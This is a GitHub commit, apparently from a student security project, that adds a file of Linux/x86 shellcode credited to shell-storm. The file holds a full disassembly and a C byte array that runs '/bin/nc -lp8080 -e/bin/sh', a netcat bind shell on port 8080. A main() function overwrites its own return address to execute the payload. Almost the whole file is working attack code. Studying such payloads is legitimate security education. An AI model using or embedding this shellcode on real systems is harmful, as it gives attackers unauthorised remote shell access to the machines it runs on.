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Added project2

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commit c91b623175c9592bcbaaf9d02b47bf9c708dc054 1 parent 0208666
@atuljangra authored
Showing with 69 additions and 0 deletions.
  1. +69 −0 Project2/bindshell.txt
  2. BIN  Project2/project2.pdf
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69 Project2/bindshell.txt
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+/*
+
+** Linux/x86 netcat bindshell shellcode, downloaded from
+** http://www.shell-storm.org/shellcode/files/shellcode-684.php
+
+08048060 <_start>:
+ 8048060: eb 2a jmp 804808c <GotoCall>
+
+08048062 <shellcode>:
+ 8048062: 5e pop %esi
+ 8048063: 31 c0 xor %eax,%eax
+ 8048065: 88 46 07 mov %al,0x7(%esi)
+ 8048068: 88 46 0f mov %al,0xf(%esi)
+ 804806b: 88 46 19 mov %al,0x19(%esi)
+ 804806e: 89 76 1a mov %esi,0x1a(%esi)
+ 8048071: 8d 5e 08 lea 0x8(%esi),%ebx
+ 8048074: 89 5e 1e mov %ebx,0x1e(%esi)
+ 8048077: 8d 5e 10 lea 0x10(%esi),%ebx
+ 804807a: 89 5e 22 mov %ebx,0x22(%esi)
+ 804807d: 89 46 26 mov %eax,0x26(%esi)
+ 8048080: b0 0b mov $0xb,%al
+ 8048082: 89 f3 mov %esi,%ebx
+ 8048084: 8d 4e 1a lea 0x1a(%esi),%ecx
+ 8048087: 8d 56 26 lea 0x26(%esi),%edx
+ 804808a: cd 80 int $0x80
+
+0804808c <GotoCall>:
+ 804808c: e8 d1 ff ff ff call 8048062 <shellcode>
+ 8048091: 2f das
+ 8048092: 62 69 6e bound %ebp,0x6e(%ecx)
+ 8048095: 2f das
+ 8048096: 6e outsb %ds:(%esi),(%dx)
+ 8048097: 63 23 arpl %sp,(%ebx)
+ 8048099: 2d 6c 70 38 30 sub $0x3038706c,%eax
+ 804809e: 38 30 cmp %dh,(%eax)
+ 80480a0: 23 2d 65 2f 62 69 and 0x69622f65,%ebp
+ 80480a6: 6e outsb %ds:(%esi),(%dx)
+ 80480a7: 2f das
+ 80480a8: 73 68 jae 8048112 <GotoCall+0x86>
+ 80480aa: 23 41 41 and 0x41(%ecx),%eax
+ 80480ad: 41 inc %ecx
+ 80480ae: 41 inc %ecx
+ 80480af: 42 inc %edx
+ 80480b0: 42 inc %edx
+ 80480b1: 42 inc %edx
+ 80480b2: 42 inc %edx
+ 80480b3: 43 inc %ebx
+ 80480b4: 43 inc %ebx
+ 80480b5: 43 inc %ebx
+ 80480b6: 43 inc %ebx
+ 80480b7: 44 inc %esp
+ 80480b8: 44 inc %esp
+ 80480b9: 44 inc %esp
+ 80480ba: 44 inc %esp
+*/
+
+//bin/nc -lp8080 -e/bin/sh
+char shellcode[] =
+"\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0f\x88\x46\x19\x89\x76\x1a\x8d\x5e\x08\x89\x5e"
+"\x1e\x8d\x5e\x10\x89\x5e\x22\x89\x46\x26\xb0\x0b\x89\xf3\x8d\x4e\x1a\x8d\x56\x26\xcd\x80"
+"\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x70\x38\x30\x38\x30\x23\x2d"
+"\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23";
+
+int main()
+{
+ int *ret;
+ ret = (int *)&ret + 2;
+ (*ret) = (int)shellcode;
+}
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